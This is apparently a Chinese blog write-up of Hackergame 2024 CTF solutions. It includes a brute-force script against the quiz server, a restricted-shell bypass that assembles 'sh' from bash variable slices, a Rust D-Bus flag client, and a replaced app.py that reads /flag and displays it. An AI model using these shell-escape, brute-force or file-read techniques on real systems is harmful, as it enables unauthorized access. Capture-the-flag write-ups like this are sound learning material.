看了官方 Writeup 之后觉得自己没什么要写的了

这里就更着重强调一些个人的有点独特的解法以及非预期解吧(

本文在官方的 hackergame2024-writeups 仓库里也有:传送门

猫咪问答 Q4 & Q6

对不起第四问和第六问我是爆破的(对手指)

import requests
import re

url = "http://202.38.93.141:13030/"
headers = {
    "Cookie": "travel_photo=CENSORED; session=CENSORED",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0",
}

score_pattern = r'本次测验总得分为 (\d*)。达到 100 分获取第二个 flag'

ans = {
    "q1": "3A204",
    "q2": 2682,
    "q3": "程序员的自我修养",
    "q4": 336,
    "q5": "6e90b6",
    "q6": 1833
}

# for i in range(1, 10000):
#     print(i)
#     ans["q4"] = i
#     res = requests.post(url, data = ans, headers = headers)
#     score = int(re.findall(score_pattern, res.text)[0])
#     if not score == 85:
#         break

for i in range(1, 10000):
    print(i)
    ans["q6"] = i
    res = requests.post(url, data = ans, headers = headers)
    score = int(re.findall(score_pattern, res.text)[0])
    if not score == 95:
        break

旅行照片 Q5

截取这个部分进行谷歌识图

building.png

第一条直接是这个

search_result.png

不能说很像,简直就是一模一样

PowerfulShell

可是我拿到 0 了耶

__=~                    # /players
___=$[]                 # 0
____=$-                 # hB

${__:7:1}               # s
${____:___:1}           # h
${__:7:1}${____:___:1}  # sh

强大的正则表达式

其实做的时候是打算打完了洋洋洒洒写一篇博客的,但完赛了发现对于看过龙书的人来说简直 trivial 所以瞬间就不想写了。:(

优雅的不等式

我使用的是这个积分

$$ \int_0^1 \frac{x^{2n} \left( 1 - x^2 \right)^n \left(a + b x^2\right)}{1 + x^2} \mathrm{d}x $$

结果是 $p\pi - q$ 的形式,积出来然后解方程就可以解出 $a, b$ 了

注意由于要满足 $a + bx^2 > 0$,所以 $a > 0$ 且 $a + b > 0$,需要 $n$ 足够大;其中 $p, q$ 越大,所需的 $n$ 也会越大

最初的想法是对于每一个测试点都可以不断枚举 $n$,然而先帝创业未半而 SIGKILL

试了一下发现题目环境给的测试点所对应的 $n$ 单调不减,那就按单调不减来写了懒得证(喂。)

代码见此

不太分布式的软总线

大家都是用 C 写的,这里给一个 Rust 版吧

use std::ffi::CString;
use zbus::{Connection, Result, dbus_proxy};
use nix::unistd::{pipe, write};
use zbus::zvariant::Fd;

#[dbus_proxy(
    interface = "cn.edu.ustc.lug.hack.FlagService",
    default_path = "/cn/edu/ustc/lug/hack/FlagService"
)]

trait FlagService {
    fn GetFlag1(&self, input: &str) -> Result<String>;
    fn GetFlag2(&self, input: Fd) -> Result<String>;
    fn GetFlag3(&self) -> Result<String>;
}

fn set_process_name(name: &str) {
    let c_name = CString::new(name).unwrap();
    unsafe {
        libc::prctl(libc::PR_SET_NAME, c_name.as_ptr() as usize, 0, 0, 0);
    }
}

#[tokio::main]
async fn main() -> Result<()> {
    let connection = Connection::system().await?;
    let proxy = FlagServiceProxy::new(&connection).await?;

    // Flag 1
    
    let flag1 = proxy.GetFlag1("Please give me flag1").await?;
    println!("{flag1}");

    // Flag 2

    let (read_fd, write_fd) = pipe().expect("Failed to create pipe");
    write(write_fd, b"Please give me flag2\n").expect("Failed to write to pipe");
    nix::unistd::close(write_fd).expect("Failed to close write end of pipe");

    let fd = Fd::from(read_fd);
    let flag2 = proxy.GetFlag2(fd).await?;
    println!("{flag2}");

    // Flag 3
    set_process_name("getflag3");
    let flag3 = proxy.GetFlag3().await?;
    println!("{flag3}");

    Ok(())

}

禁止内卷

替换 app.py 没什么好说的;

但笑点解析:

[37, 43, 32, 38, 58, 52, 45, 46, 0, 0, 0, 0, 30, 36, 50, 49, 36, 53, 36, 49, 30, 45, 46, 54, 30, 20, 30, 49, 52, 45, 30, 12, 24, 30, 34, 0, 35, 36, 32, 34, 37, 0, 32, 0, 0, 0, 0, 36, 60]

然后得到 flag{unoAAAA_esrever_now_U_run_MY_cAdeacfAaAAAAe} 全是 A!

因为我偷懒直接输出 answers 变量而不是 answers.json 了,结果拿到的数据全是零蛋!然后我还没反应过来 sanitize 其实是在 app.py 里进行的,以为 answers.json 肯定也被 sanitize 过(有笨蛋)

总之是另寻他路了;ls 了一下发现有个 prerun.py,看一下发现有这两行

with open("/flag") as f: 
    flag = f.read().strip()

然后我的手就直接伸到 /flag 那里去了:

flag = open("/flag", "r").read()
flash(f"评测成功,你的平方差为 {flag}")

flag.png

添加新评论